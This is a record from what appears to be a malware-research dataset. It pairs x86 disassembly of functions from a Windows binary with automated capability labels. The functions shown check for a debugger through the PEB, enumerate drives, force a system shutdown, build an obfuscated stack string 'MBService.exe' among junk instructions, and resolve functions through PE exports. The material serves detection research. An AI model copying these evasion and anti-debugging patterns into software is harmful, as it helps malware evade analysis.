joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a730
Capabilities:
Check mutex on windows

Disassembly:
cmp dword [esi + 0xe8], 0
jne 0x41a766
push 0x4806d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi + 0xe8], eax
test eax, eax
jne 0x41a753
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
sete cl
mov eax, ecx
ret
mov eax, 1
ret

Function at 0x41a770
Capabilities:
Check mutex on windows

Disassembly:
cmp dword [esi + 0xe8], 0
jne 0x41a7a6
push str.E0A52416_D56A_4c3d_BFC7_3F40E77C718E
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi + 0xe8], eax
test eax, eax
jne 0x41a793
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
sete cl
mov eax, ecx
ret
mov eax, 1
ret

Function at 0x41a820
Capabilities:
Check if file exists
Get common file path
Get startup folder

Disassembly:
push 0xffffffffffffffff
push 0x476569
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x496028]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
push 7
push 3
call fcn.004740d2
push 5
call fcn.004740d8
add esp, 0xc
lea ecx, [esp + 0x14]
call dword [0x47ce28]
mov ebx, 1
push ebx
push 0x1a
xor esi, esi
push 0x104
lea ecx, [esp + 0x20]
mov dword [esp + 0x44], esi
call dword [0x47ce20]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
test eax, eax
je 0x41a90c
call dword [0x47cde4]
mov eax, dword [esp + 0x14]
mov eax, dword [eax - 0xc]
dec eax
push eax
lea ecx, [esp + 0x18]
call dword [0x47c848]
lea ecx, [esp + 0x14]
cmp ax, 0x5c
je 0x41a8bd
push 0x48090c
jmp 0x41a8c2
push 0x47d4d8
call dword [0x47c850]
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx - 0xc]
push eax
lea ecx, [esp + 0x18]
call dword [0x47ce20]
push eax
call fcn.004740de
add esp, 4
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call dword [0x47cde4]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41a912
mov eax, dword [esp + 0x14]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
jmp 0x41a912
call dword [0x47cde4]
push 2
call fcn.004740e4
add esp, 4
call fcn.0041db30
xor ecx, ecx
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], cx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
xor ebp, ebp
mov eax, dword [esp + 0x18]
mov edx, ebx
mov ecx, esi
shl edx, cl
test eax, edx
je 0x41a971
lea ecx, [esi + 0x41]
movzx edi, cx
mov ecx, edi
call fcn.0043adc0
test eax, eax
jne 0x41a971
lea edx, [esp + 0x1c]
push edx
mov word [esp + 0x20], di
call fcn.004740ea
add esp, 4
mov ebp, ebx
add esi, ebx
cmp esi, 0x20
jl 0x41a93e
push 0
call fcn.004740f0
add esp, 4
lea ecx, [esp + 0x14]
call dword [0x47ce24]
mov eax, ebp
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x41a9b0
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x2b8
mov eax, dword [0x496028]
xor eax, esp
mov dword [esp + 0x2b4], eax
push 0x4011
push 0x2b4
lea eax, [esp + 8]
push eax
push 0x40
push str._SystemRoot_
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x41a9ff
push eax
call fcn.00472ac2
mov ecx, dword [esp + 0x2b4]
xor ecx, esp
call fcn.004734e6
add esp, 0x2b8
ret
mov ecx, dword [esp + 0x2b4]
xor ecx, esp
xor eax, eax
call fcn.004734e6
add esp, 0x2b8
ret

Function at 0x41aa20
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x2b8
mov eax, dword [0x496028]
xor eax, esp
mov dword [esp + 0x2b4], eax
mov eax, dword [esp + 0x2bc]
push 0x4001
push 0x2b4
lea ecx, [esp + 8]
push ecx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x41aa70
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x2b4]
xor ecx, esp
call fcn.004734e6
add esp, 0x2b8
ret
mov ecx, dword [esp + 0x2b4]
xor ecx, esp
or eax, 0xffffffff
call fcn.004734e6
add esp, 0x2b8
ret

Function at 0x41aa90
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x476539
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x496028]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
lea ecx, [esp + 8]
call dword [0x47ce28]
lea eax, [esp + 8]
push eax
mov ecx, edi
mov dword [esp + 0x24], 0
call fcn.00472b8e
mov ecx, dword [edi + 0x20]
push ecx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.00472b88
mov edx, dword [edi + 0x20]
push 0
push 0
push 0x31
push edx
mov esi, eax
call dword [sym.imp.USER32.dll_SendMessageW]
push eax
call fcn.00472b9a
mov edx, dword [esi]
push eax
mov eax, dword [edx + 0x30]
mov ecx, esi
call eax
mov eax, dword [esp + 8]
mov edx, dword [eax - 0xc]
lea ecx, [esp + 0xc]
push ecx
push edx
push eax
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
mov ecx, dword [esp + 0xc]
mov eax, dword [esi + 4]
mov edx, dword [esp + 0x10]
mov dword [ebx], ecx
mov ecx, dword [edi + 0x20]
push eax
push ecx
mov dword [ebx + 4], edx
call dword [sym.imp.USER32.dll_ReleaseDC]
lea ecx, [esp + 8]
call dword [0x47ce24]
mov eax, ebx
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41db30
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x496028]
xor eax, esp
mov dword [esp + 8], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
call fcn.004197c0
mov ecx, dword [0x47d684]
and ebx, eax
mov eax, dword [0x47d680]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
xor edi, edi
jmp 0x41db70
mov esi, 1
mov ecx, edi
shl esi, cl
test ebx, esi
je 0x41db9e
lea eax, [esp + 0xc]
lea edx, [edi + 0x41]
push eax
mov word [esp + 0x10], dx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x41db9e
cmp eax, 2
je 0x41db9e
not esi
and ebx, esi
inc edi
cmp edi, 0x20
jl 0x41db70
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004734e6
mov esp, ebp
pop ebp
ret

Function at 0x41e0f0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x18
push esi
lea eax, [esp + 4]
push eax
push 0x28
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x41e118
xor eax, eax
pop esi
add esp, 0x18
ret
lea ecx, [esp + 0xc]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 4]
push 0
push 0
push 0
lea edx, [esp + 0x14]
push edx
push 0
push eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x41e111
test edi, edi
je 0x41e165
cmp edi, esi
jne 0x41e165
mov esi, 2
push 0x80020003
or esi, 4
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x18
ret
Function at 0x427220
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x47a9cb
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x496028]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
push edi
mov eax, dword [0x496028]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [edi + 0x18]
push eax
mov dword [esp + 0x28], eax
call fcn.00426dc0
push edi
call fcn.00427400
call fcn.004197c0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ecx, dword [0x47d684]
and esi, eax
mov eax, dword [0x47d680]
mov dword [esp + 0x30], eax
xor eax, eax
xor edx, edx
xor ebx, ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x34], ecx
mov word [esp + 0x18], dx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x10], ebx
mov eax, dword [esp + 0x28]
mov esi, 1
mov ecx, ebx
shl esi, cl
mov dword [esp + 0x14], esi
test eax, esi
je 0x4273ae
lea edx, [esp + 0x30]
lea ecx, [ebx + 0x41]
push edx
mov word [esp + 0x34], cx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x4272eb
cmp eax, 2
jne 0x4273ae
or dword [edi + 0x90], esi
push 0x3c0
call fcn.0047286a
add esp, 4
mov dword [esp + 0x2c], eax
xor esi, esi
mov dword [esp + 0x48], esi
cmp eax, esi
je 0x427319
lea ecx, [esp + 0x30]
push ecx
push eax
call fcn.004552d0
mov esi, eax
push esi
mov dword [esp + 0x4c], 0xffffffff
call fcn.00426dc0
mov edx, dword [esi]
mov eax, dword [edx + 0x1c]
mov ecx, esi
mov dword [esi + 0x2c], 0x428f90
mov dword [esi + 0x30], edi
call eax
mov ecx, dword [edi + 0xe0]
mov eax, dword [edi + 0xe4]
mov dword [esi + 0xf0], ecx
mov dword [esi + 0xf4], eax
mov ecx, dword [esp + 0x30]
call fcn.0043adc0
neg eax
sbb eax, eax
add eax, 1
mov ebx, eax
mov dword [esp + 0x20], ebx
je 0x427384
mov eax, dword [esp + 0x14]
mov edx, dword [ebp + 0xc]
test edx, eax
je 0x427384
mov ebx, eax
and ebx, dword [ebp + 8]
neg ebx
sbb ebx, ebx
neg ebx
mov dword [esp + 0x20], ebx
mov ax, word [esp + 0x30]
lea ecx, [esp + 0x18]
push ecx
mov word [esp + 0x1c], ax
mov dword [esp + 0x20], esi
call fcn.0042b3a0
test ebx, ebx
mov ebx, dword [esp + 0x10]
je 0x4273ae
mov edx, dword [esp + 0x14]
or dword [edi + 0x8c], edx
inc ebx
cmp ebx, 0x20
mov dword [esp + 0x10], ebx
jl 0x4272b1
mov ecx, dword [edi + 0x10]
sub ecx, dword [edi + 0xc]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx]
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [eax + 0x1c]
call edx
mov eax, esi
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.004734e6
mov esp, ebp
pop ebp
ret 8
Function at 0x42a940
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x477969
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x496028]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
lea ecx, [esp + 0x3c]
mov dword [esp + 0x30], 0
call dword [0x47c860]
mov edi, dword [esp + 0x38]
mov eax, dword [edi + 0xbc]
add edi, 0xac
mov dword [esp + 0x38], eax
cmp dword [edi + 0xc], eax
jbe 0x42a998
call dword [0x47c2fc]
mov ebx, dword [edi + 0x10]
mov eax, dword [edi]
mov dword [esp + 0x18], eax
cmp dword [edi + 0xc], ebx
jbe 0x42a9ac
call dword [0x47c2fc]
mov esi, dword [edi + 0xc]
mov ebp, dword [edi]
cmp esi, dword [edi + 0x10]
jbe 0x42a9bc
call dword [0x47c2fc]
mov eax, dword [edi]
push ebx
push ebp
push esi
push eax
lea ecx, [esp + 0x30]
push ecx
lea ebx, [esp + 0x50]
call fcn.0042c280
mov esi, eax
mov eax, dword [esi]
add esp, 0x14
test eax, eax
je 0x42a9e1
cmp eax, dword [esp + 0x18]
je 0x42a9e7
call dword [0x47c2fc]
mov edx, dword [esp + 0x38]
cmp dword [esi + 4], edx
je 0x42a9fe
lea ecx, [esp + 0x3c]
call dword [0x47ce24]
xor eax, eax
jmp 0x42aa14
lea ebx, [esp + 0x3c]
call fcn.004116e0
mov ecx, ebx
call dword [0x47ce24]
mov eax, 1
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x431d10
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x478830
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
push esi
push edi
mov eax, dword [0x496028]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea ecx, [esp + 0x24]
call fcn.00472bee
xor edi, edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], vtable.CBitmap.0
mov byte [esp + 0x50], 1
cmp ebx, edi
jne 0x431d74
xor eax, eax
jmp 0x431d77
mov eax, dword [ebx + 4]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
lea ecx, [esp + 0x28]
call fcn.00472c1e
mov eax, dword [esp + 0x20]
sub eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
sub ecx, dword [esp + 0x14]
mov edx, dword [ebx + 4]
push eax
push ecx
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
lea ecx, [esp + 0x10]
call fcn.004728a6
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x431dc2
push eax
mov eax, dword [esp + 0x2c]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [esi + 0x20]
push edi
push edi
push 0x31
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
push eax
call fcn.00472b9a
push eax
lea ecx, [esp + 0x28]
call fcn.00472b94
push 0xffffff
lea edx, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
call fcn.00472c36
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
mov dword [esp + 0x34], eax
add eax, 2
mov dword [esp + 0x34], eax
mov eax, dword [esi + 0x54]
add ecx, 2
push eax
mov dword [esp + 0x3c], ecx
mov ecx, dword [esi + 0x58]
sub edx, 2
push ecx
mov dword [esp + 0x44], edx
add esi, 0x60
push esi
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x34]
sub edi, 2
push eax
mov dword [esp + 0x54], edi
call fcn.004318a0
mov eax, dword [esp + 0x34]
sub eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x30]
sub ecx, dword [esp + 0x28]
add esp, 0x14
push 0xcc0020
push 0
push 0
push edx
push eax
mov eax, dword [ebx + 4]
push ecx
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov byte [esp + 0x50], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], vtable.CBitmap.0
call fcn.00404000
lea ecx, [esp + 0x24]
mov dword [esp + 0x50], 0xffffffff
call fcn.00472bf4
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x433250
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x479c55
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x55496028]
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
push edi
add esp, 4
jmp 0x43327b
add eax, 0x9467
pop eax
push edi
sub edi, 0xf21e
sub edi, 0x4015
pop edi
push edi
push ecx
add esp, 4
add edi, 0x108d
jmp 0x4332a2
pop edi
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push edx
add edx, 0x11b4e
add edx, 0x13fd7
pop edx
push eax
add eax, 0x15cb3
sub eax, 0xe746
and eax, 0x787c
pop eax
push eax
and eax, 0x22dc
jmp 0x433383
pop eax
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push esi
push eax
add esp, 4
xor esi, 0x7778
or esi, 0xf97f
jmp 0x4333d8
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x158e8
call 0x8143353d
ret
lodsb al, byte [esi]
rol dword [eax], 1
add byte [ecx + 0xd15dc3], al
add byte [ebx - 0x39], bl
inc ebp
lock add dword [eax], eax
add byte [eax], al
push edx
push edi
add esp, 4
and edx, 0x489a
pop edx
push esi
sub esi, 0xb63a
add esi, 0x12b1e
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x2a5c
add ebx, 0xbe14
sub ebx, 0x14876
pop ebx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push edi
and edi, 0xccca
call 0x43346d
add byte [edx], dh
inc ecx
dec ebp
inc eax
cmp dword [esi], edi
dec ecx
cmp dword [ecx], edi
dec esp
add esp, 4
call 0x43347c
add byte [ebx], dh
push eax
dec ebp
inc ebp
inc esp
aas
add esp, 4
jmp 0x433487
pop edi
push edi
or edi, 0x6b8c
sub edi, 0x12a
pop edi
push eax
push ecx
add esp, 4
and eax, 0xac8b
call 0x4334b0
add byte [esp + edi], bh
inc eax
dec edx
dec edi
dec edx
cmp byte [eax + ecx*2], bh
add esp, 4
sub eax, 0x3ba9
pop eax
mov dword [ebp - 0x2c], 1
push esi
push edx
add esp, 4
sub esi, 0x386a
xor esi, 0x10e94
and esi, 0x10b02
xor esi, 0x138c5
pop esi
push edx
xor edx, 0x10432
sub edx, 0xa9ff
or edx, 0xc524
pop edx
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x4336d4
Function at 0x433265
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x479c55
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x55496028]
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
push edi
add esp, 4
jmp 0x43327b
add eax, 0x9467
pop eax
push edi
sub edi, 0xf21e
sub edi, 0x4015
pop edi
push edi
push ecx
add esp, 4
add edi, 0x108d
jmp 0x4332a2
pop edi
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push edx
add edx, 0x11b4e
add edx, 0x13fd7
pop edx
push eax
add eax, 0x15cb3
sub eax, 0xe746
and eax, 0x787c
pop eax
push eax
and eax, 0x22dc
jmp 0x433383
pop eax
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push esi
push eax
add esp, 4
xor esi, 0x7778
or esi, 0xf97f
jmp 0x4333d8
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x158e8
call 0x8143353d
ret
lodsb al, byte [esi]
rol dword [eax], 1
add byte [ecx + 0xd15dc3], al
add byte [ebx - 0x39], bl
inc ebp
lock add dword [eax], eax
add byte [eax], al
push edx
push edi
add esp, 4
and edx, 0x489a
pop edx
push esi
sub esi, 0xb63a
add esi, 0x12b1e
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x2a5c
add ebx, 0xbe14
sub ebx, 0x14876
pop ebx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push edi
and edi, 0xccca
call 0x43346d
add byte [edx], dh
inc ecx
dec ebp
inc eax
cmp dword [esi], edi
dec ecx
cmp dword [ecx], edi
dec esp
add esp, 4
call 0x43347c
add byte [ebx], dh
push eax
dec ebp
inc ebp
inc esp
aas
add esp, 4
jmp 0x433487
pop edi
push edi
or edi, 0x6b8c
sub edi, 0x12a
pop edi
push eax
push ecx
add esp, 4
and eax, 0xac8b
call 0x4334b0
add byte [esp + edi], bh
inc eax
dec edx
dec edi
dec edx
cmp byte [eax + ecx*2], bh
add esp, 4
sub eax, 0x3ba9
pop eax
mov dword [ebp - 0x2c], 1
push esi
push edx
add esp, 4
sub esi, 0x386a
xor esi, 0x10e94
and esi, 0x10b02
xor esi, 0x138c5
pop esi
push edx
xor edx, 0x10432
sub edx, 0xa9ff
or edx, 0xc524
pop edx
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x4336d4
Function at 0x43346d
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x479c55
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x55496028]
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
push edi
add esp, 4
jmp 0x43327b
add eax, 0x9467
pop eax
push edi
sub edi, 0xf21e
sub edi, 0x4015
pop edi
push edi
push ecx
add esp, 4
add edi, 0x108d
jmp 0x4332a2
pop edi
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push edx
add edx, 0x11b4e
add edx, 0x13fd7
pop edx
push eax
add eax, 0x15cb3
sub eax, 0xe746
and eax, 0x787c
pop eax
push eax
and eax, 0x22dc
jmp 0x433383
pop eax
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push esi
push eax
add esp, 4
xor esi, 0x7778
or esi, 0xf97f
jmp 0x4333d8
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x158e8
call 0x8143353d
ret
lodsb al, byte [esi]
rol dword [eax], 1
add byte [ecx + 0xd15dc3], al
add byte [ebx - 0x39], bl
inc ebp
lock add dword [eax], eax
add byte [eax], al
push edx
push edi
add esp, 4
and edx, 0x489a
pop edx
push esi
sub esi, 0xb63a
add esi, 0x12b1e
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x2a5c
add ebx, 0xbe14
sub ebx, 0x14876
pop ebx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push edi
and edi, 0xccca
call 0x43346d
add byte [edx], dh
inc ecx
dec ebp
inc eax
cmp dword [esi], edi
dec ecx
cmp dword [ecx], edi
dec esp
add esp, 4
call 0x43347c
add byte [ebx], dh
push eax
dec ebp
inc ebp
inc esp
aas
add esp, 4
jmp 0x433487
pop edi
push edi
or edi, 0x6b8c
sub edi, 0x12a
pop edi
push eax
push ecx
add esp, 4
and eax, 0xac8b
call 0x4334b0
add byte [esp + edi], bh
inc eax
dec edx
dec edi
dec edx
cmp byte [eax + ecx*2], bh
add esp, 4
sub eax, 0x3ba9
pop eax
mov dword [ebp - 0x2c], 1
push esi
push edx
add esp, 4
sub esi, 0x386a
xor esi, 0x10e94
and esi, 0x10b02
xor esi, 0x138c5
pop esi
push edx
xor edx, 0x10432
sub edx, 0xa9ff
or edx, 0xc524
pop edx
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x4336d4